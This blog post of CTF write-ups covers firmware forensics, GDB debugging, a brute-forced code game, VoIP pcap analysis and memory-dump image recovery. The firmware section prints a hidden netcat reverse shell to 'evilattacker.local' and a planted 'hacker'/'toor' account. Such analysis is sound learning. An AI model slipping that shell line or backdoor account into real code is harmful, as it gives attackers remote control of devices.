Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Another week, and another batch of write-ups from the BofA CTF!
If you didn’t see my last post, then I recommend you check out those solutions as well.
Like the first post, I’m waiting until the CTF during Technica is over before posting.
This will be the second set of solutions, but I’ve got one more post planned for the forensics challenges.
With all of that, let’s jump right into a few more solutions!
After a break from my memory analysis, I moved onto the hacked firmware found here.
The challenges were as follows.
First, I extracted the firmware using binwalk
root@kali:~/bofa/firmware# binwalk -e Firmware DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 8879 0x22AF TRX firmware header, little endian, image size: 1679360 bytes, CRC32: 0x6AB92846, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x0, rootfs offset: 0x0 8907 0x22CB LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 1661928 bytes 1688239 0x19C2AF Squashfs filesystem, little endian, version 4.0, compression:xz, size: 11436180 bytes, 1636 inodes, blocksize: 1048576 bytes, created: 2019-08-21 14:28:12 13312191 0xCB20BF xz compressed data 13312777 0xCB2309 xz compressed data 13313927 0xCB2787 xz compressed data
At first glance, the authorize file looked suspicious, but this wasn’t the actual backdoor.
root@kali:~/bofa/firmware/_Firmware.extracted# cat authorize # # Configuration file for the rlm_files module. # Please see rlm_files(5) manpage for more information. # ... < snip > ... # # # # Last default: shell on the local terminal server. # # # DEFAULT # Service-Type = Administrative-User # On no match, the user is denied access. hacker Cleartext-Password := "toor" ######################################################### # You should add test accounts to the TOP of this file! # # See the example user "bob" above. # #########################################################
I also found it funny that someone clearly looked at the Casino Royale VM using this box.
root@kali:~/bofa/firmware/_Firmware.extracted# cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 kali 192.168.171.4 casino-royale.local
Next, to find the “flag”, I used my grep and scrolling skills.
root@kali:~/bofa/firmware/_Firmware.extracted/squashfs-root# grep -rni "flag" . --color=auto Binary file ./bin/busybox matches Binary file ./lib/libc.so matches Binary file ./lib/libnvram.so matches Binary file ./lib/modules/4.4.187/ext4.ko matches Binary file ./lib/modules/4.4.187/wl.ko matches Binary file ./lib/modules/4.4.187/ftdi_sio.ko matches ... < snip > ... ./etc/www:1529:</script> ... < snip > ... <p>{j}http://www.dd-wrt.com" target="_new">DD-WRT Homepage</a> - {j}http://www.dd-wrt.com/phpBB2/" target="_new">Forum</a> - {j}http://www.dd-wrt.com/wiki/" target="_new">Wiki</a> - {j}http://www.dd-wrt.com/bugtracker" target="_new">Flag: 3805d35c-2440-4e0a-8dac-52245b6232ed</a> - {j}http://svn.dd-wrt.com/" target="_new">Trac</a><br /><br /><% ifdef("MICRO", "<!--"); %><img src="images/valid-xhtml10.png" alt="Valid XHTML 1.0 Strict" /><% ifdef("MICRO", "-->"); %><% ifndef("MICRO", "<!--"); %><img src="http://www.w3.org/Icons/valid-xhtml10.png" alt="Valid XHTML 1.0 Strict" height="31" width="88" /><% ifndef("MICRO", "-->"); %></p></div></body></html>
To find the backdoor domain, I first tried to search every file for a common domain, but that didn’t work.
root@kali:~/bofa/firmware/_Firmware.extracted# egrep -ro '[a-z0-9]*.(org|net|com|biz|edu|int|gov|mil)[:/]' ./ --color=auto | sed 's/[:/]//' | sort -u | grep -vi 'binary' | grep -vi 'freeradius' .squashfs-root/etc/comgt/netmode.comgt:att.com/ .squashfs-root/etc/config/1sputnik.webhotspot:sputnik.com/ .squashfs-root/etc/config/3hotss.webhotspot:hotspotsystem.com/ .squashfs-root/etc/config/pptpd_client.ip-down:proc/net/ .squashfs-root/etc/config/pptpd_client.ip-up:proc/net/ .squashfs-root/etc/ethertypes:iana.org/ .squashfs-root/etc/hotplug2-common.rules:dev/net/ .squashfs-root/etc/ipkg.conf:linux.org/ .squashfs-root/etc/l7-protocols/protocols/qqlive2.pat:.com/ .squashfs-root/etc/l7-protocols/protocols/webmail_gmail.pat:google.com/ .squashfs-root/etc/l7-protocols/protocols/webmail_hinet.pat:.net/ .squashfs-root/etc/l7-protocols/protocols/webmail_hotmail.pat:.com/ .squashfs-root/etc/l7-protocols/protocols/webmail_yahoo.pat:.com/ .squashfs-root/etc/preinit:sys/net/ .squashfs-root/etc/protocols:iana.org/ .squashfs-root/etc/vpnc/vpnc-script:dev/net/ .squashfs-root/etc/vpnc/vpnc-script:misc/net/ .squashfs-root/etc/www:flagfox.net/ .squashfs-root/etc/www:passwordmeter.com/ .squashfs-root/etc/www:w3.org/ .squashfs-root/etc/www:wrt.com/ .squashfs-root/lib/modules/4.4.187/modules.builtin:drivers/net/ .squashfs-root/lib/modules/4.4.187/modules.builtin:kernel/net/ .squashfs-root/lib/modules/4.4.187/modules.order:drivers/net/ .squashfs-root/lib/modules/4.4.187/modules.order:ethernet/ .squashfs-root/lib/modules/4.4.187/modules.order:kernel/net/ .squashfs-root/usr/libexec/nocat/initialize.fw:sys/net/ .squashfs-root/usr/share/hwdata/usb.ids:e-com/ .squashfs-root/usr/share/hwdata/usb.ids:rint/ .squashfs-root/usr/share/hwdata/usb.ids:thernet/ .squashfs-root/usr/share/hwdata/usb.ids:usb.org/
Next, I decided to look at every shell script on the system.
root@kali:~/bofa/firmware/_Firmware.extracted# find . -name "*.sh" ./squashfs-root/lib/functions.sh ./squashfs-root/usr/bin/vtysh_init.sh ./squashfs-root/usr/libexec/nocat/call_splashd_check.sh ./squashfs-root/usr/libexec/nocat/test_arp.sh ./squashfs-root/usr/libexec/nocat/remote_settings.sh ./squashfs-root/usr/libexec/nocat/upgrade_check.sh ./squashfs-root/usr/libexec/nocat/check_splashd.sh ./squashfs-root/usr/libexec/nocat/traffic_input_count.sh ./squashfs-root/usr/libexec/nocat/traffic_output_count.sh ./squashfs-root/etc/hso/hso_connect.sh ./squashfs-root/etc/hso/connect.sh ./squashfs-root/etc/comgt/qmistatus.sh ./squashfs-root/etc/comgt/qmisierrastatusdetect.sh ./squashfs-root/etc/comgt/connect.sh ./squashfs-root/etc/comgt/sierrastatus.sh ./squashfs-root/etc/openvpnstate.sh ./squashfs-root/etc/lease_update.sh ./squashfs-root/etc/openvpnstatus.sh ./squashfs-root/etc/cidrroute.sh ./squashfs-root/etc/hotplug2-createmtd.sh ./squashfs-root/etc/wl_snmpd.sh ./squashfs-root/etc/config/proxywatchdog.sh ./squashfs-root/etc/config/schedulerb.sh ./squashfs-root/etc/config/pptpd_client.sh ./squashfs-root/etc/config/wdswatchdog.sh ./squashfs-root/etc/openvpnlog.sh
There were not that many, and I eventually found the backdoor in the openvpnstatus.sh file!
root@kali:~/bofa/firmware/_Firmware.extracted# cat ./squashfs-root/etc/openvpnstatus.sh #!/bin/sh if [ "$(nvram get openvpn_enable)" = "1" ]; then PORT=`grep "^management " /tmp/openvpn/openvpn.conf | awk '{print $3}'` if [ x${PORT} = x ] then PORT=14 fi ... < snip > ... fi /usr/bin/nc -e /bin/sh evilattacker.local 80
For the counting bytes challenge, I had to determine, “What is the return value of gb?”
I could have solved this challenge with reverse engineering, but I decided to just use GDB.
First, I ran and disassembled the functions to get a handle of what was happening.
root@kali:~/bofa# gdb -q Buffer_Size_GB Reading symbols from Buffer_Size_GB...(no debugging symbols found)...done. (gdb) r Starting program: /root/bofa/Buffer_Size_GB [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". You need to supply one argument to this program. [Inferior 1 (process 23942) exited with code 0377] (gdb) r 12345 Starting program: /root/bofa/Buffer_Size_GB 12345 [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7ffff44c7700 (LWP 23947)] [Thread 0x7ffff44c7700 (LWP 23947) exited] Executed normally [Inferior 1 (process 23946) exited normally] (gdb) disassemble main Dump of assembler code for function main: 0x0000555555554daf <+0>: push %rbp 0x0000555555554db0 <+1>: mov %rsp,%rbp 0x0000555555554db3 <+4>: sub $0x20,%rsp 0x0000555555554db7 <+8>: mov %edi,-0x14(%rbp) 0x0000555555554dba <+11>: mov %rsi,-0x20(%rbp) 0x0000555555554dbe <+15>: cmpl $0x2,-0x14(%rbp) 0x0000555555554dc2 <+19>: je 0x555555554dd7 <main+40> 0x0000555555554dc4 <+21>: lea 0x135(%rip),%rdi # 0x555555554f00 0x0000555555554dcb <+28>: callq 0x555555554a30 <puts@plt> 0x0000555555554dd0 <+33>: mov $0xffffffff,%eax 0x0000555555554dd5 <+38>: jmp 0x555555554e10 <main+97> 0x0000555555554dd7 <+40>: mov -0x20(%rbp),%rax 0x0000555555554ddb <+44>: add $0x8,%rax 0x0000555555554ddf <+48>: mov (%rax),%rax 0x0000555555554de2 <+51>: mov %rax,%rdi 0x0000555555554de5 <+54>: callq 0x555555554d0a <_Z9function1Pc> 0x0000555555554dea <+59>: lea 0x140(%rip),%rdi # 0x555555554f31 0x0000555555554df1 <+66>: callq 0x555555554a30 <puts@plt> 0x0000555555554df6 <+71>: movl $0x2b,-0x4(%rbp) 0x0000555555554dfd <+78>: movl $0x2be,-0x8(%rbp) 0x0000555555554e04 <+85>: movl $0x191,-0xc(%rbp) 0x0000555555554e0b <+92>: mov $0x0,%eax 0x0000555555554e10 <+97>: leaveq 0x0000555555554e11 <+98>: retq End of assembler dump. (gdb) set disassembly-flavor intel (gdb) disass main Dump of assembler code for function main: 0x0000555555554daf <+0>: push rbp 0x0000555555554db0 <+1>: mov rbp,rsp 0x0000555555554db3 <+4>: sub rsp,0x20 0x0000555555554db7 <+8>: mov DWORD PTR [rbp-0x14],edi 0x0000555555554dba <+11>: mov QWORD PTR [rbp-0x20],rsi 0x0000555555554dbe <+15>: cmp DWORD PTR [rbp-0x14],0x2 0x0000555555554dc2 <+19>: je 0x555555554dd7 <main+40> 0x0000555555554dc4 <+21>: lea rdi,[rip+0x135] # 0x555555554f00 0x0000555555554dcb <+28>: call 0x555555554a30 <puts@plt> 0x0000555555554dd0 <+33>: mov eax,0xffffffff 0x0000555555554dd5 <+38>: jmp 0x555555554e10 <main+97> 0x0000555555554dd7 <+40>: mov rax,QWORD PTR [rbp-0x20] 0x0000555555554ddb <+44>: add rax,0x8 0x0000555555554ddf <+48>: mov rax,QWORD PTR [rax] 0x0000555555554de2 <+51>: mov rdi,rax 0x0000555555554de5 <+54>: call 0x555555554d0a <_Z9function1Pc> 0x0000555555554dea <+59>: lea rdi,[rip+0x140] # 0x555555554f31 0x0000555555554df1 <+66>: call 0x555555554a30 <puts@plt> 0x0000555555554df6 <+71>: mov DWORD PTR [rbp-0x4],0x2b 0x0000555555554dfd <+78>: mov DWORD PTR [rbp-0x8],0x2be 0x0000555555554e04 <+85>: mov DWORD PTR [rbp-0xc],0x191 0x0000555555554e0b <+92>: mov eax,0x0 0x0000555555554e10 <+97>: leave 0x0000555555554e11 <+98>: ret End of assembler dump. (gdb) disass gb Dump of assembler code for function _Z2gbv: 0x0000555555554cd6 <+0>: push rbp 0x0000555555554cd7 <+1>: mov rbp,rsp 0x0000555555554cda <+4>: sub rsp,0x10 0x0000555555554cde <+8>: mov DWORD PTR [rbp-0x4],0x1c 0x0000555555554ce5 <+15>: call 0x555555554bdf <_Z4foobv> 0x0000555555554cea <+20>: mov DWORD PTR [rbp-0x8],eax 0x0000555555554ced <+23>: mov eax,DWORD PTR [rbp-0x8] 0x0000555555554cf0 <+26>: mov edx,eax 0x0000555555554cf2 <+28>: shr edx,0x1f 0x0000555555554cf5 <+31>: add eax,edx 0x0000555555554cf7 <+33>: sar eax,1 0x0000555555554cf9 <+35>: mov DWORD PTR [rbp-0xc],eax 0x0000555555554cfc <+38>: mov eax,DWORD PTR [rbp-0xc] 0x0000555555554cff <+41>: mov edx,eax 0x0000555555554d01 <+43>: shr edx,0x1f 0x0000555555554d04 <+46>: add eax,edx 0x0000555555554d06 <+48>: sar eax,1 0x0000555555554d08 <+50>: leave 0x0000555555554d09 <+51>: ret End of assembler dump.
Next, I set a breakpoint at the beginning of the gb() method. When I tried to step through the program, I accidentally went too far and let it execute to completion.
(gdb) b* 0x0000555555554cd6 Breakpoint 1 at 0x555555554cd6 (gdb) r asdf Starting program: /root/bofa/Buffer_Size_GB asdf [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x0000555555554cd6 in gb() () (gdb) i r rax 0x7fffffffe110 140737488347408 rbx 0x7fffffffe110 140737488347408 rcx 0xa0 160 rdx 0x7fffffffe2a0 140737488347808 rsi 0x7fffffffe288 140737488347784 rdi 0x7fffffffe582 140737488348546 rbp 0x7fffffffe170 0x7fffffffe170 rsp 0x7fffffffe108 0x7fffffffe108 r8 0x7ffff79dfd80 140737347714432 r9 0x0 0 r10 0xfffffffffffff000 -4096 r11 0x555555778000 93824994476032 r12 0x555555554a90 93824992234128 r13 0x7fffffffe280 140737488347776 r14 0x0 0 r15 0x0 0 rip 0x555555554cd6 0x555555554cd6 <gb()> eflags 0x202 [ IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) si 0x0000555555554cd7 in gb() () (gdb) c Continuing. [New Thread 0x7ffff44c7700 (LWP 23951)] [Thread 0x7ffff44c7700 (LWP 23951) exited] Executed normally [Inferior 1 (process 23949) exited normally]
Next, I set a breakpoint at the ‘sar eax,1’ instruction, right before gb()’s return.
(gdb) b* 0x0000555555554d06 Breakpoint 2 at 0x555555554d06 (gdb) r Starting program: /root/bofa/Buffer_Size_GB asdf [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, 0x0000555555554cd6 in gb() () (gdb) c Continuing. [New Thread 0x7ffff44c7700 (LWP 23953)] [Thread 0x7ffff44c7700 (LWP 23953) exited] Thread 1 "Buffer_Size_GB" hit Breakpoint 2, 0x0000555555554d06 in gb() () (gdb) si 0x0000555555554d08 in gb() ()
As you can see, the return value (RAX) right before the ‘ret’ instruction is 0x1d7 (471)!
(gdb) i r rax 0x1d7 471 rbx 0x7fffffffe110 140737488347408 rcx 0x0 0 rdx 0x0 0 rsi 0xc 12 rdi 0x7fffffffe0a0 140737488347296 rbp 0x7fffffffe100 0x7fffffffe100 rsp 0x7fffffffe0f0 0x7fffffffe0f0 r8 0x0 0 r9 0x7fffffffdf70 140737488346992 r10 0xd45 3397 r11 0x7ffff7cb0230 140737350664752 r12 0x555555554a90 93824992234128 r13 0x7fffffffe280 140737488347776 r14 0x0 0 r15 0x0 0 rip 0x555555554d08 0x555555554d08 <gb()+50> eflags 0x206 [ PF IF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0
After the last challenge, I decided to continue with the binary theme and try Code_breaker.
First, I ran the executable, to figure out how it worked.
root@kali:~/bofa# ./Code_breaker WELCOME TO Codebreaker 2.0! Guess the secret code its only 15 digits! YOUR GUESSES: CORRECT: MISPLACED: ====================================================================== Enter Code:
First, I tried to reverse engineer the binary, but that wasn’t as simple as I had hoped.
Instead, I decided to play the game manually, with the old brute-force method!
Enter Code: 439959400000000 439959400000000 6 1 ====================================================================== Enter Code: 439959500000000 439959500000000 6 0 ====================================================================== Enter Code: 439959600000000 439959600000000 6 1 ====================================================================== Enter Code: 439959700000000 439959700000000 6 1 ====================================================================== Enter Code: 439959800000000 439959800000000 6 1 ====================================================================== Enter Code: 439959900000000 439959900000000 7 0 ====================================================================== Enter Code:
In the end, I was able to get to the code/flag of ‘439959978478644’ in 73 guesses, which wasn’t too bad.
This challenge brings up a good point though. Don’t be afraid to solve a challenge in any manner you can! There’s no shame in playing a game manually/programming a solution/reverse engineering a binary, if you’re able to get the flag.
Enter Code: 439959978478644 Congratulations, you guessed the code! It only took you 73 guess(es) Thanks for playing!
Next up was the Get_Flag_Pcap.pcap challenge.
Based on the challenge description and title, I figured that this was a PCAP of VoIP traffic.
First, I went to Telephony -> VoIP calls.
This brought up the VoIP window, with one 31 second stream.
When I hit “Play Streams”, the RTP player opened with my call.
After the answering machine message played, I heard the following message:
"Hello, the flag is: 051057614277"
I submitted my flag, earned my points, and moved on.
Next on my list was UnknownProcess.
The only hint/description for this challenge was, “Picture this.”
First, I kept trying to open the file in Volatility, but that was not working.
After remembering about an EverSec CTF challenge we once had, I decided to try a different approach.
Next, I went back to this blogpost and remembered that memory dumps could sometimes have images with sensitive information.
After a little some a lot of playing with sliders in GIMP, I was able to get to the following image.
At that point, I just needed to play with the width a bit more, and I got to the following image.
It wasn’t entirely clear, but after staring at the image a bit more, I figured out the flag.
PoweredByInsomnia
This was only my second post for these challenges, and I’ve got one more coming up.
That said, that is just one of the larger challenges, so I’ll wrap up most of the stuff now.
In the end, I got 335 points, and earned my challenge coin! For a picture of it, stay tuned for part 3.
Let me know if you solved any challenges that I didn’t or solved these in a different manner.
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.